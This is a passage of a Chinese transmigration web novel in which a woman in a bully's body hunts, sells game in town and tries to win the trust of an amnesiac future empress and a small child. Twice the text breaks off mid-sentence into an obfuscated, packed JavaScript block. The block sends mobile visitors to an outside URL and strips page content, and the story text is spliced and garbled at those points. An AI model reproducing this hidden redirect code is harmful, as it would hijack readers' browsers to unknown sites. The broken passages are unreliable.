沈之虞还记得昨晚乾元想拿着棍子往她的膝盖处打,被岁岁拦住后才作罢。 她垂眸,试着动了动腿,比昨晚要好受些,还能够下床走路。 若是真的打到了膝盖的位置,恐怕她现在连床都难下。 岁岁从床的里侧爬了下去,第一件事就是跑到门口,小心翼翼地伸出头看院子里面。 没有看到季平安后,岁岁才回到屋里仰头看沈之虞,声音带着些稚气道:“阿九,我去煮些野菜,你也来吃。” 往常白日里,季平安都不在家,她也不用担心给阿九东西吃会被看到。 沈之虞点头,道:“我和你一起去灶房。” 正是早晨,金灿灿的阳光从东边的山上露出来,褪去了晚间的寒气。 家门口原本枯褐色的树干上也冒出些嫩绿色的叶子,寒冷的冬天很快就要过去。 沈之虞醒来时候就没有记忆,身上也全是擦伤,等稍好一些便是乾元想要强行标记她。 因此从醒过来后,她的注意力全在如何防备对方上,今日还是她第一次如此平静地在院子里面走。 三间屋子都是用黄泥混着杂草和秸秆砌成的,屋前的地上还新长出了些草,能看出来有段时间没有打理过,除此之外院子里也没有什么其他的东西。 进了灶房,沈之虞打量着眼前的灶和烧出来的草木灰,后又指着岁岁手上拿着的两块石头,问道:“这是什么?” “这是我从山上捡到的打火石,平日里生火都是用这个。” 说完,岁岁还特地拿着打火石在她眼前碰了下,隐隐约约能看到些火星。 沈之虞点头,心里却在一步步地印证自己的猜想,她不是这里的人。 提到生火,她的第一反应是用火折子,而且无论是黄泥砌成的屋子还是隔壁“咯咯”叫的母鸡,都让她有种陌生感。 “阿九,这些野菜都是我自己采的。”岁岁走到灶房角落里拿了把野菜,至于罐子里面的红薯和粮食她不敢动。 沈之虞接话道:“好,我去外面接水。” 只是她拿起来陶罐准备去外面时,却感觉到陶罐的重量似乎有些不对。 沈之虞把盖子打开,这才看到了里面的红薯,“岁岁,看看这个。” 岁岁拿着野菜过来,看到罐子里的东西后,先缩了缩脖子,意识到现在只有她和阿九两个人后,才小声道:“这是阿姐的,我们不要动。” 说完,她小手拿起旁边另一个陶罐,把野菜放到里面,“我们用这个。” 沈之虞的目光却是还看着罐子里的红薯,若是担心她们偷吃,对方不必煮这么多,更像是一种明显的试探。 想到这里,沈之虞直接从陶罐里拿了个红薯出来,剥皮吃到嘴里面。 “阿九!” 岁岁本来还在纠结要不要多放点野菜进去,毕竟阿九很久没有吃饭了。 谁知道抬起头就看到阿九在吃阿姐留的红薯,她急得都快要哭出来,“这是阿姐的,我们不能吃,会被打的!” 岁岁的身高只到沈之虞腰部,伸长胳膊想要从她的手上把红薯抢回来,眼神里面都是着急和害怕。 沈之虞顺着弯腰,把红薯递到岁岁的手上,她道:“早上你还在睡觉的时候,你阿姐说陶罐里的红薯都是留给我们吃的。” 这话自然是假的,但是红薯不能不吃。 她们没有力气,只能是被打的份,昨天晚上的事情沈之虞不想再经历一遍。 还不如把东西吃掉,让身上有些力气,这样哪怕乾元再想打人,她们也不至于毫无反手之力。 如果能再给对方身上来个伤口,更能让她忌惮几分。 而且,哪怕她们不吃,乾元回来也可能打人,更没有必要把红薯给对方留着了。 岁岁还是愣愣的模样,说话的时候,头顶的发丝也跟着晃,“真的吗?” “真的。”沈之虞面色平静,让人没办法怀疑她说的话,“还记得昨天晚上吗,你阿姐说再也不打人了,还给我们拿了草药吃。” 岁岁毕竟是小孩,平时接触的也都是孩子们,想起事情来总是简单。 话题被沈之虞一引,她脑子里便全都是昨晚的事情。 阿姐昨晚好像是说过她不会再打人了,还叫了庄婶婶来家里。 而且,以前阿姐都是叫她“小崽子”,昨晚阿姐叫的她岁岁! 看着岁岁一会开心一会害怕,沈之虞重新从陶罐里拿出个红薯,掰了些送到岁岁嘴边。 小孩刚想张嘴,红薯块就进了嘴巴里面,刚想说的话也忘了,嘴巴里都是红薯的甜味。 岁岁平时吃的最多的就是煮野菜,要么是没有味道,要么就是偏苦,骤然吃到甜红薯,在嘴巴里咂摸了好久才舍得往肚子里面咽。 她这时候也不去想阿九的话是真的假的了,只举着手里的红薯道:“阿九,红薯真的好好吃,你也快吃。” 沈之虞点头,手上却又掰了一块到岁岁的嘴边,两人分着吃完了三个红薯。 另一边。 季平安看着眼前黑绿色花纹的蛇,至少有两指粗,不敢轻易地有动作。 她穿过来前,原本在一家互联网公司上班,996是基操,若是当天临时有了新的工作任务,免不得加班到晚上十点或者十一点。 顶头领导更是爱吹毛求疵,一版方案打会来三十次,最后采用的还是初版方案。 因此季平安只做了不到一年,就辞职回到老家,试着开始做短视频博主。 她的视频内容主要就是乡村生活,种地做饭,养鸡养鸭、给院子里的樱桃树做嫁接等。 她在乡下菜地里也遇到过蛇,但基本也就小拇指般粗,而且基本都没有毒。 如今遇到的这条却是要大上三倍,从花纹来看毒性也不低。 蛇应该是刚才藏在草丛里面,她拔野菜的时候不小心惊动了蛇。 再加上蛇身上的黑绿色花纹隐蔽性实在太强,这才没有第一时间察觉。 季平安垂在身侧的指尖缓缓握紧手中的弓,看着蛇口中吐出来的信子,心里默念道:冷静,一定要冷静。 蛇和人不同,不靠眼睛去看,而是靠着蛇信子感知周围的环境,一旦她着急了就容易让蛇找到位置。 季平安呼吸放到最轻,等了片刻后,见蛇仍旧紧紧盘旋在树干上,才试探着往后迈了很小的一步。 与此同时,她拿着弓的胳膊却绷的很紧,随时准备着举起来防备意外情况发生。 等撤到蛇的攻击范围之外,季平安又连忙往后跑了几步,才敢正常的喘气。 也是这时候,她才感觉到她的背上几乎要被冷汗浸湿。 她转过身,看向自己刚才站的位置,还能看到缠在树上的那条蛇。 思考几秒后,季平安松了松手里紧攥着的弓箭,等到手心的汗完全消失之后,她才重新握紧手上的弓箭。 【提示,猎物已进入瞄准镜射击范围内。】 [猎物瞄准镜]自动对准蛇的七寸后,季平安射出了弦上的箭。 箭瞬间射出去,上一秒还吐着信子的蛇,下一秒便如同枯掉的藤蔓般,从粗壮的树干上缓缓滑落掉到地上。 季平安没有立刻过去,而是先从地上捡了块足够重的石头。 她隔着两三米远的位置朝蛇头砸过去,让蛇死透之后才敢走过去捡到自己的背篓里面。 这种体型大的蛇,蛇皮也更厚一些,她的箭毕竟不是铁制成的,而且已经用过好几次,到底钝了些,还是不能太冒险。 经历了这遭,季平安也不再犹豫,背着猎物往山下走。 出门的时候,天还是蒙蒙亮,晨间的雾气还没有散,颇有种水墨画的朦胧。 走出林子之后,太阳已经高高地挂在了头顶,脚下的影子都短了许多,但还是能感觉出来点寒意。 这几天正是最为农忙的时候,要在开春前把地翻好,到时候撒了种子后才能长得好。 毕竟全家的口粮基本就是靠着地里长的庄稼,因此没有不重视的。 大柳村里面只有一户人家有牛,还有两户人家有驴,翻地的时候能轻松些。 余下的人家基本都是拿耕锄或者耙靠人力翻地,这种时候家里人都要去,哪怕是几岁的小孩也得过去帮忙。 午间耕地的人也不回家,都是让一个人把吃食从家里带回来,坐在地头上吃完继续干。 季平安带着背篓从山上下来时,正是地头上的人吃饭的时候。 见到季平安,不少人的眼睛都盯在了她背上的篓子里面。 富贵娘自然也在里面,她装作不经意,却是两三眼间就看到了篓子上面盖着的野菜,这才收回来眼睛。 瞧瞧她早上的时候说过的话,就说了这个泼皮无赖能打到什么猎物,还不是带了一篓子野菜装模做样。 “平安,不是要去打猎,怎地中午就回来了?”有人在地里扯着嗓子问道。 季平安装作不耐烦的样子,道:“没打到什么,这不才回来。” 当时用野菜盖住,就是怕旁人看到。 原主的形象她要转变,但不能转变的太突然,更不能突然学会了打猎,必须得一步一步让众人慢慢接受。 这话出来,也没有人再问,只是都低头忍了笑。 不过昔日的泼皮无赖能上山捡野菜,竟然也算得上是好事了。 等走到路口处,季平安抬头看了眼天色,应该还能赶得上去县城一趟。 大柳村离县城不远,但也有十二三里地,原主基本都是走着去。 季平安看着眼前的泥土路,深深呼吸了下,才抬了抬肩上的背篓继续走。 原主虽然是乾元,但从小到大基本都被季母宠溺着,什么重活都没有干过,体力也一般。 她单是背着东西在林子里转了一上午,再从山上走到路口就已经累的不行,现在腿脚都已经开始酸了。 不过想到背篓里的野味能卖到的钱,她又觉得十二、三里的路完全不算事。 走了不到一个时辰,季平安也到了县城门口。 她往里面走,街边是各种各样的店铺,小饭馆、包子铺、成衣铺、米行粮铺等等应有尽有。 县城里边虽然有各式的铺子,但也有摆摊的小商小贩。 小商小贩只需要每日给官府的人交一文钱,就能在这条街上有个位置,若是交百文钱,就能得个固定的位置。 街上不少人都是从东和县下面的村子过来的,把家里的鸡蛋或者多余的野菜卖卖,也能补贴个家用。 “新出炉的烧饼,都来看看啊,保证又香又软和!” “素包子两文钱一个,肉包子四文钱一个,还热乎着啊!” “……” 街上的吆喝声不绝于耳,尤其是各种吃食飘出来的香味,更是让季平安忍不住抿了抿唇。 早上的红薯虽然顶饱,但是个头不大,季平安还只吃了一个,加上在林子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季平安带来的猎物,伤口都在致命处,且只有腹部的伤口,一击毙命,足以证明这是个打猎的好手,往后不愁收不到好猎物。 他让步一文钱卖人情,眼下看是亏,但若日后他收到野猪之类的大物,那才是赚。 两只野兔和一只野鸡,称出来十一斤六两,也就是一百六十一文钱。 季平安挨个数过去,确认没有出错后,留出十五文,余下地揣到自己口袋里。 她把十五文又给了肉铺老板,笑着道:“老板,再给我来一斤肉,肥一点。” “行嘞!”肉铺老板干净利落地切了一斤肉给她装上,“回去熬油啊?” “对。”季平安点头。 猪油熬出来之后,留着日后炒菜做饭用,熬完后的猪油渣香香脆脆,还能给沈之虞和岁岁她们当零食吃。 猎物卖掉,季平安的背篓也轻了不少。 她先是回到刚才经过的包子摊前,花六文钱买了三个心心念念的素包子,自己囫囵吞枣地吃了一个后,那股馋劲总算下去不少,剩下的两个包子和刚才买来的肉一起放到背篓里面。 季平安又到了粮铺前面,有不少人都在等着买粮。 “老板,怎么粮价又涨了这么多?” “是啊,粳米五十文一斗,小麦面四十五文一斗,连豆子都涨了五文钱!” 老板把上一个人的粮称好,也接话道:“这粮价也不是我自己定的,你去其他铺子上问问,指定找不出一家比这低的,只能比这个价高。” “去年江禾郡有水灾,咱们这有旱灾,南北的收成都少了,粮价自然就高了。” 季平安把话听了进去,面上却不显,和老板说:“粳米和小麦面各来半斗。” 如今在位的皇帝就是沈之虞的皇帝爹,可惜昏庸无能,在位期间也是毫无建树,修建可供千人居住的长生殿,不知民生疾苦。 几年之后,老皇帝去世,朝堂乱、民间也乱,沈之虞便是借着这个机会不断培养势力,最后得以登基。 拿上米面之后,季平安去了药铺,把篓子里最后一样东西卖掉。 “蛇?”药堂的老郎中眯着眼睛看了看她篓子里面的东西。 季平安点头,蛇虽然可怕,但也是味珍贵的药材,蛇肉能祛风除湿,蛇胆可以治疗疯热病和咳嗽惊厥,甚至连蛇皮泡酒都有不错的功效。 “你这条蛇不小,但是蛇头被砸了,价格就要低点,只能给你一两银子。” 这种大蛇可遇不可求,抓到也是赌上一条性命,若是到京城那种地方卖,口才好点,说不定还能卖出五两、十两的价钱。 但东和县毕竟是个小地方,一两银子不少,足够节俭的人家吃半年,这个价也不算少,只是季平安没有立刻答应。 “一两银子可以,就是郎中得送我些解热驱寒、治疗外伤、祛除疤痕的药,若是有驱虫防虫的药粉也给我来些。” 抓到这条蛇是意外之喜,原本季平安还觉得买药和买粮之后,卖猎物的钱都得花光,现下也不用担心了。 老郎中点头,他们本就是药堂,抓这些药也花不了多少银子,“这个可以。” 商量好后,季平安就把蛇给了郎中,她没有要银子,让药堂里的人帮她换成了铜钱。 摸着兜里沉甸甸的重量,季平安想着回家再把她自己留的野味炖了,让沈之虞和岁岁也尝尝肉味。 她忍不住弯了弯嘴角,果然有钱有粮才能让人安心! 5. 第 5 章 京城。 阳王府的书房内。 男人身上尚穿着未换下来的朝服,摩挲着手上的白玉佩。 “父皇今日早朝下旨,七妹的丧期内朝臣皆着素服,不鸣钟鼓,衣冠棺都有八十一人的抬杖队伍,甚至还亲自给七妹赐了谥号,这可是储君才能享有的待遇啊。” 说到“储君”二字后,年轻男人微微眯了眯眼睛,看向他前方略显消瘦的中年女子。 “如此隆重,你还觉得本王多此一举吗?” 女子神色如常,瘦削的脊背未弯分毫,“七公主聪慧却不得陛下喜爱,赐下谥号无非是为了让边疆的虞将军安心。” 言外之意,皇帝对虞将军多有忌惮,无论如何七公主都不会影响他的谋略,多此一举。 男人冷笑一声,手中的白玉佩也随之碎成两半,“我三姐那个迟钝愚笨的样子,都能入了父皇的眼,不都是七妹在后面帮她出谋划策。” “如今解决了七妹,三姐还能有什么依仗,我还是更喜欢死人,无论如何都不会与我争。” 过了片刻,他才恢复了外人面前的温润如玉,不见刚才的阴狠:“李卿既是我母后旧友,也望能做好自己的分内之事。” 女人眉眼微垂,轻声道:“自然。” — 早饭吃了红薯后,沈之虞又看了看灶房内里其他的东西。 她中午本想将罐子内的小麦面做成饼也吃了,但被岁岁使劲拦着,只能作罢,两人一起吃了野菜。 吃完后,沈之虞在院子里转了一圈,没有找到镰刀锄头之类,便只能退而求其次,重新捡了块石头。 她想到昨日被乾元攥着手腕,毫无还手之力便觉得羞辱。 石头不大,但有锋利的地方,沈之虞试着用石头压了下自己的腺体,便感觉到些许刺痛从脖颈处蔓延开。 她收起手,将石头重新握在手心,才感觉到昨晚她想划破自己的腺体有些冲动。 腺体可以说是坤泽身上最为脆弱的部位之一,哪怕受些小伤都可能让人痛晕过去。 若她真的毁了自己的腺体,乾元不会给她上药,只会趁着她极度脆弱为所欲为,而那时候的她只能任人宰割。 “阿九,我想出去捡野菜,你要和我一起吗?” 岁岁的声音打断了沈之虞的思绪,她将各种想法都按捺下来,抬头回道:“我这就来。” 屋子里还有着乾元的味道,沈之虞不想在家里待着。 只是刚出门,沈之虞便听到个妇人的声音,“岁岁,晌午吃的什么?” 她抬头看过去,是离着季家不远的一户人家,长相温和的妇人正隔着篱笆说话。 妇人应该是和岁岁很熟,小孩比在季平安面前要自然许多:“婶婶,我煮了野菜吃。” 也是这时,妇人看到了岁岁身边的沈之虞。 她愣了一下,才接着刚才的话说道:“来婶婶这里,满满还想着和你一起玩呢。” 满满也是妇人的孩子,和岁岁差不多年纪,两个孩子在一块玩的好。 妇人知道岁岁的阿姐是什么人,因此家里只要稍微宽裕点,就分些饼子给岁岁。 这次也不例外,岁岁过去之后,妇人便往她的手上塞了块饼子。 “谢谢婶婶!”但岁岁并没有立刻进去找满满玩,而是先转过头看了看沈之虞,才问道:“阿九能和我一起去吗?” 沈之虞摸了摸她的头,道:“我和你的婶婶说说话。” 见到妇人也点头之后,岁岁才拿着饼子跑到屋里。 “阿九?”妇人有些犹豫地问道。 沈之虞点头,“可以这么叫,我不记得自己的名字了。” “我叫林芸,村里人都叫我芸娘”,妇人也急忙说了自己的名字,又问道:“你要不要吃饼子,我再去给你拿点。” 她看着眼前的姑娘,哪怕脸上带着伤,样貌和气质却是隐藏不住的好,应该就是传言中被季平安捡回来的坤泽,估摸着也是个命苦的人。 沈之虞看着妇人手上的茧和疤,摇摇头,“不用了,留着给满满吃。” 她能够心安理得的吃季平安留下的红薯,但芸娘从牙缝里省出来的饼,她还是不能轻易接受。 说完,她又问芸娘道:“这里可以去县城吗?” “沿着这条路一直往北就行,不过现在农忙没有牛车,只能走着去,你是要去城里吗?” 芸娘本还想提醒沈之虞,这个冬天各个村落都有不少逃荒过来的人,若是坤泽一个人出去,免不得要被某些有坏心思的贼人盯上。 但这些话还没有说出来,又被她咽下去。 季平安和贼人比,似乎也比不出来哪个更可恶了。 “不去,只是随便问问。” 早上起床到现在,沈之虞站了太久,膝盖处已经有了些隐痛。 她得趁还有时间,做对自己最有利的打算。 芸娘应了一声,“若是你往后想说说话,也来找我。” 想到季平安的无赖模样,芸娘想说些安慰的话也说不出来,只能尽量让她和岁岁的日子好过些。 — 等到季平安从县城里回来后,天已经黑了,家家户户的灶房也都生了烟,正是吃饭的时候。 她到家里的时候,岁岁和沈之虞刚捡野菜回来,坐在院子里面说话。 因着太阳好,野菜长得也快,她们今天捡了不少,沈之虞特地把手里的野菜也交给岁岁。 岁岁现在瞧着比昨夜里要开朗些,抱着怀里的野菜就往灶房走过去,“我去放好,这些足够吃三天了。” 沈之虞收回视线,转头便看见季平安推门进来,原本正常的脸色瞬间浮上一层冷漠。 这时岁岁也从灶房里面出来,不知为何便想起来早上被她吃掉的红薯,整个人都害怕起来。 “阿姐……”她弱弱喊道。 若是阿姐又后悔让她吃了红薯怎么办,自己又要挨打吗? 早知她应该把婶婶给她的饼子留下,这时也能让阿姐不要那么生气。 季平安不知道小孩在想什么,她走进院子里面关上门,朝着孩子招招手:“岁岁过来,阿姐给你带了包子。” 说话的时候,她把背篓放下,将里面的包子拿出来。 从县城里走回来,哪怕她用野菜掩着,包子也凉了些,没有刚出炉时候那样香,但是包子皮是用细面做的,看着就要比糙饼软和。 皮薄馅厚,大的占了整个手掌,岁岁光是看着就想咽口水,肚子都开始咕嘟咕嘟地叫。 “阿姐,真的是给我的吗?”岁岁抿了抿唇,总觉得眼前的包子要比早上的红薯还要好吃。 说话的时候,季平安已经拿着包子弯腰递给她,“是啊,阿姐特地给你买的。” 见岁岁接过包子,她又把包子递给旁边的沈之虞,“另外一个给阿九。” 伸手的动作只维持了一秒,沈之虞便接过了包子。 季平安微微挑眉,从她回家后,沈之虞便沉默不语,她还以为让对方吃东西要费一番功夫呢。 不过这样也好,能吃东西身体才会好得快,好感度才能涨啊。 包子的个头大,岁岁要用两个手捧着吃,她试探着咬了口包子的外皮,便有种麦面的香气,还带着些甜。 里面的菜也不是她平日里吃的野菜,格外清甜,好吃的她几乎要眯着眼。 注意到她小表情的季平安,忍不住弯了下唇角,“好吃吗?” 岁岁重重点点头,“好吃。” 阿九早上果然没有骗她,阿姐不仅早上给她留了红薯,晚上还给她带了包子,她也不用再担心自己会被打了。 “好吃就多吃点。” 趁着岁岁低头咬包子的时候,季平安瞅准时机,伸出手摸了摸岁岁的头发。 季岁岁下意识抬头,嘴巴却还没有停止吃包子,眼神里都是茫然,反应了一秒才意识到刚才是季平安。 她眨眨眼,咽下嘴里的包子,“阿姐,你吃了吗?” 岁岁问出来这话的时候,沈之虞的视线也落到季平安的身上。 “我吃过了,你们吃就好,不用给我吃。” 她说后面两句话的时候,沈之虞明显感觉到乾元的目光是在自己的身上。 沈之虞咽了口包子,在心底冷哼,乾元是认为自己会分给她吗? 不得不说,沈之虞猜的不错,季平安虽然没有想着让沈之虞分给自己包子,但一直都在等着好感度增加的播报。 直到接收到沈之虞冷淡的目光后,她才认清现实。 看来不是系统检测失灵,单纯是沈之虞比岁岁难哄多了。 在两人吃包子的时候,季平安带着背篓去了灶房,把米面放到盛粮的罐子里头。 她今日背着猎物上山,又用脚走到县城里面,体力也不剩,因此合起来只买了一斗,等到吃完再去买就可以。 放完米面,季平安把肉和野兔拿出来,肉被她放到灶台上,今日有些晚了,熬油可以明天再做。 她收拾东西的时候,灶房门是开的,岁岁和沈之虞都看得清清楚楚。 岁岁的眼睛都直了,小小的人一会儿看看灶台上的肉,一会儿又看看季平安手上的野兔,忙的脑袋都看不过来。 沈之虞则是眯了眯眼,看着忙碌的身影,今日的乾元似乎与昨日大不相同。 哪怕被两人盯着,季平安也泰然自若,晃了晃手上的野兔,“我们晚上吃烤兔子怎么样?” 虽然说她买了包子,但一个包子也不能让人完全吃饱,更何况从县城里走回来,季平安吃到肚子里的包子早没了,还是得再吃点东西。 野兔还是要烤着吃才香,烤过之后,野兔皮金黄酥脆,屈起手指敲敲甚至都能听到响声。 破开酥脆的外皮,里面便是软烂脱骨的兔肉,香的能让人舌头都吞下去。 烤兔子,听到这三个字的时候,岁岁就想到季母在世的时候也给她们烤过。 当时她年纪虽然小,却没有忘掉烤兔子的香味。 “阿姐,真的要烤吗?”岁岁都顾不上手上拿着的包子了,“我和阿九今天刚捡了些柴火,我这就抱过来。” 抬眼就能看到堆在院门口整整齐齐的柴火,也不用担心遭遇危险之类的,季平安也就遂了她的愿,“麻烦岁岁了,最好多往这里抱点。” 得到肯定,岁岁小心翼翼地把包子放到碗里头,然后开始往季平安的面前抱柴火。 跑的时候枯黄毛躁的头发都在头顶晃,显得格外有生机。 季平安就坐在沈之虞的旁边,仿佛丝毫没有感受到对方的排斥,说着家常话,“自己捡回来的柴火,估计吃着都更香。” 隔得近,乾元的气息也靠的更近,沈之虞暗中握紧了自己手中的石头,面上仍然是那幅冷淡的神情,“是吗?” “对啊”,季平安完全感知不到危险,她说完就低头看向沈之虞的腿,“你的膝盖还疼吗?” 沈之虞这时才正眼看向她,只是语气带了些冷嘲热讽:“疼不疼你难道不知道,我还以为这伤是别人打的?” “……” 季平安摸了摸鼻子,她咳了一声,“我帮你拿了药,吃完烤兔之后,你去抹上就行。” 沈之虞眸色深深,观察着眼前的人,道:“你跟昨天不太一样。” 昨夜的人酗酒打人,语调油腻夸张,脸上全都是凶意,一眼就能够看出来对方的品行。 但今天的季平安,不仅莫名带回来许多吃食,甚至连行为举止都挑不出毛病。 一个人能在短时间变化这么大吗? 若是说自己面对的是岁岁,季平安觉得她还能够勉强不让人发现异常,把人骗过去。 但现在和她面对面坐着的可是未来万人之上的女皇,哪怕稍微有点反常,就能够被对方看出来。 “阿姐,这些柴火够吗?”岁岁没有注意到她们俩在说些什么,来回跑了几次后,季平安的面前便堆了许多的木头。 “我跟昨天确实不太一样。”季平安也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339060|167824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打算隐瞒,“吃完再和你说。” “够了,岁岁真厉害。” 季平安说完话,拿着野兔想要处理,突然意识到一个严峻的问题,家里没有刀。 她想的是把兔毛留下来,日后多攒些能做条围脖,这就必然会用到刀。 但她在县城的时候,脑袋里全都是野兔怎么做才最香,也忘了再去买。 见到季平安呆坐在原地,岁岁胆子稍微大了些,问道“阿姐,怎么了?” “岁岁,你知道哪个婶婶家里有切肉用的刀吗?” 一旁的沈之虞,刚开始看季平安没有动作,还以为是她后悔了,舍不得这只野兔。 如今听到这话,都忍不住看了她两眼。 一刻钟后,三人同时站在了芸娘的家门口。 刚开始,季平安想的是让岁岁和沈之虞去借,原主的名声毕竟不好。 但她刚说完,就改口说她也一起去。 既然用了人家的刀,自然也得让对方吃上肉,还是自己亲自过来请最好。 芸娘听到岁岁的声音后,出门就看到整整齐齐站在她家篱笆外的三人。 愣了一会儿,她才道:“岁岁,你们……是有什么事吗?” 尤其是季平安也在,站的比以往都要直,甚至都能看出些不同的气质。 季平安开口道:“我今日在山上捡了只兔子,只是家里没有刀,想着过来问问。” 说话的时候,她还拎了拎手上的兔子,让芸娘知道她没有在骗人。 盐铁都是官营,像刀这种东西只能在县城里的店铺买,价格也高,平常人家都不舍得把刀借出来。 芸娘也确实在犹豫,这把刀还是家里乾元去县城打的,没用够三个月,乾元便被拉去充了军,可以说这把刀是家里面最值钱的物件了。 “我又不贪你的刀”,季平安语气里似乎带着些不耐烦,“这样,你跟着我去家里,烤好的兔子也分你和孩子点。” 身侧的沈之虞看了季平安一眼,乾元似乎又和院中时候不一样。 芸娘本还拿不准主意,低头时候却见到屋子里的满满不知道什么时候出来了,眼巴巴的看着季平安手中的野兔。 她叹口气,“可以,我这就去灶房拿刀去。” 季平安心中这才松了口气,看样子芸娘应该没有怀疑什么。 烤兔子孩子们帮不上忙,岁岁和满满在院中玩,余下的三个大人各有分工。 季平安用木头搭了个简易的烤架,芸娘则处理兔子,沈之虞从灶房里拿了火石出来。 烤兔子急不得,火堆也不能烧的太旺,这样才会外酥里嫩。 芸娘:“我先回家放刀。” 季平安朝她摆摆手:“快去快去,显得我眼馋你那刀似地。” 见人走到门口,她又提高了些声音道:“记得来吃烤兔子,要不然传出去,我季平安岂不是要当那说话不算话的人。” 傲慢无礼,非常符合原主的性格。 火堆映出暖色的光,也驱散了夜里的寒。 沈之虞看着眼前的火光,突然开口道:“你刚才为什么说,自己跟平常不一样。” 季平安本想说,她不是原来臭名昭著的原主,之前的事也不是她做的。 但这个念头刚出来,原本安安静静的系统页面突然弹出个大大的红色警告框。 【提示,禁止违反世界规则!】 【提示,禁止违反世界规则!】 她只能换了个说法,格外委婉:“我是季平安,但又不是季平安。” 沈之虞的声音格外冷,“你想说,昨天的你和今天的你根本不是一个人?” 季平安疯狂点头,怪不得沈之虞能当成女主呢,瞧瞧这聪明劲,她说的这么隐晦对方都能懂她的意思。 “那你是从哪里来的?另一个季平安又在哪里?” 季平安想说些什么,但因为系统限制,愣是一个字蹦不出来。 “说不出来了?”沈之虞看向她,眼神里都是了然。 连换了个人这种荒谬的话都能说出来,现在倒是更像昨天没脑子的泼皮无赖,编谎话都圆不上。 季平安为自己辩解道:“这个问题我虽然不能回答,但是你可以问我其他的问题。” “而且你可以放心,之后我肯定不会再打你和岁岁了。” “我帮你把伤治好,以后谁都别想欺负你!” 语气真诚,就差指着天立誓了,若是拿着这几句话,说不定能骗到几个涉世未深的坤泽。 但听在沈之虞的耳中,只如同一阵风刮过,心里没有丝毫波澜。 她轻轻地拨动了面前的火堆,想象着烧的通红的木棍落到人身上是什么感觉。 “你的意思是,我想要什么你都答应?” 季平安立刻点头:“对,哪怕我现在做不到,之后也肯定会努力帮你完成。” 话音落下,她便对上沈之虞的眼眸,浅墨色的瞳,里面跃着星星点点的火光。 “如果我想要你放我走呢?” 沈之虞的声音清冷好听,还带着些蛊惑的意味。 季平安想都没想,就开口拒绝道:“那不行!” 沈之虞走了,她肯定完成不了系统的任务,陌生世界里,只有一个[猎物瞄准镜],她连自己的命都不一定能保住! 而且,从沈之虞说出来这句话后,她的脑海中便不断地响起提示。 【提示,宿主与任务对象生命值绑定。】 【提示,请拒绝任务对象的要求。】 【提示,请拒绝任务对象的要求。】 但拒绝完之后,季平安才觉出来几分尴尬。 她上一句便是能够满足对方的任何要求,下一句话就是“不行”,真的是自己打自己的脸。 她抿了抿唇,也不敢再看沈之虞的眼睛,“我是说,除了你离开这个条件,我都能满足你。” 然后便听到沈之虞轻嗤一声。 【目标人物好感度-10】 6. 第 6 章 【目标人物好感度-10】 系统提示音落下,季平安缓缓闭上自己的眼睛。 按照正常的标准来看,陌生人之间的好感度是0-30,朋友之间的好感度则是30-60,好感度越高感情则越好。 而负的好感度,则代表了厌恶程度。 她在脑海里打开系统面板,看到了此刻的数据。 【沈之虞当前生命值:33(满值100)】 【沈之虞当前好感度:-60(满值100)】 【当前可抽卡次数:0】 -60的好感度,可以说是极度厌恶,甚至已经到了恨的程度。 想到这里,季平安睁开眼睛,想再和沈之虞说些别的,为自己挽回些好感度。 只是刚转过头,便对上她冷冽的目光,“怎么,现在想要放我走?” 季平安立刻收回视线,缩了缩脖子抬头望天,当没有听到这句话,放走是不能放走的。 看完好感度之后,季平安才注意到数据面板上的另外一条信息。 昨天晚上沈之虞的生命值是30,现在生命值涨了3点,变成了33。 应该是她找庄大夫拿了药,让沈之虞的烧退了下去,加上今天还吃了东西,所以沈之虞的身体好转了些。 还有,她记得刚才沈之虞问出能不能放她离开的时候,系统音提示过一句话。 【宿主与任务对象生命值绑定。】 但是这条信息,她在新手引导以及抽卡的系统界面上,并没有看到过。 也就是说,这条信息关乎任务完成度,是在特地情景下才会被触发的隐藏规则。 若是她将沈之虞放走了,任务自然也完不成了。 季平安在心里默默思考着“绑定”两个字。 第一种可能,她和沈之虞相互绑定,也就是说,两人是“共命”的关系。 比如她曾经看过一本小说,里面的主角拥有下蛊的能力,她便给自己喜欢的人下了“同生共死蛊”。 两人只要有一方死亡,另外一方体内的蛊虫便会发作,立刻死亡。 不求生前事,只愿死同穴。 但季平安思考了一瞬后,便将这个可能排除掉。 她还记得,自己白日在山林里面碰到的毒蛇,稍有不慎就会丧命。 按照道理来说,这可比放沈之虞离开还要危险。 毕竟沈之虞离开,说不定还能遇到好心人帮助活下来,她白日才是真正的命悬一线。 但就算是这样,系统自始至终都没有弹出来过提示,也没有给过她任何的帮助。 季平安可没有忘记,系统的任务目标是“让沈之虞顺利登基”。 那只能说明,她的命和这个任务目标不相干,自然也就不可能和沈之虞是“同命”的关系。 如此,便只剩下了第二种可能。 她和沈之虞是单方面绑定的关系,她是沈之虞的挂件。 也就是说沈之虞能活多久,她就能活多久。 若是沈之虞的生命值降到0了,她也得跟着嗝屁? “系统,你这是不是太霸王条款了!” 季平安见到有新手礼包的时候,还觉得这个系统真不错。 甚至开局抽到优类物品,她还猜测过,是不是系统特地给的她新手保护。 现在看来,全都是坑啊! 这完全就是地狱级别难度的任务啊! 应该再补偿她十个优类物品! 沉默之间,沈之虞也在垂眸想着乾元的反常。 说要对她好,但又不肯放她走,那只能说明她身上有对方所图谋的东西。 烧着的火堆偶尔有噼里啪啦的声音,烤兔的香味也慢慢开始散出来。 沈之虞摩挲了下指尖,在心底列出两种可能性。 一是乾元知道她过去的身份,想要以她作为要挟,换取自己想要的东西。 二是仍旧没有忘记想要标记她,但更想要她心甘情愿地被标记。 亦或者是乾元贪得无厌,两者皆有。 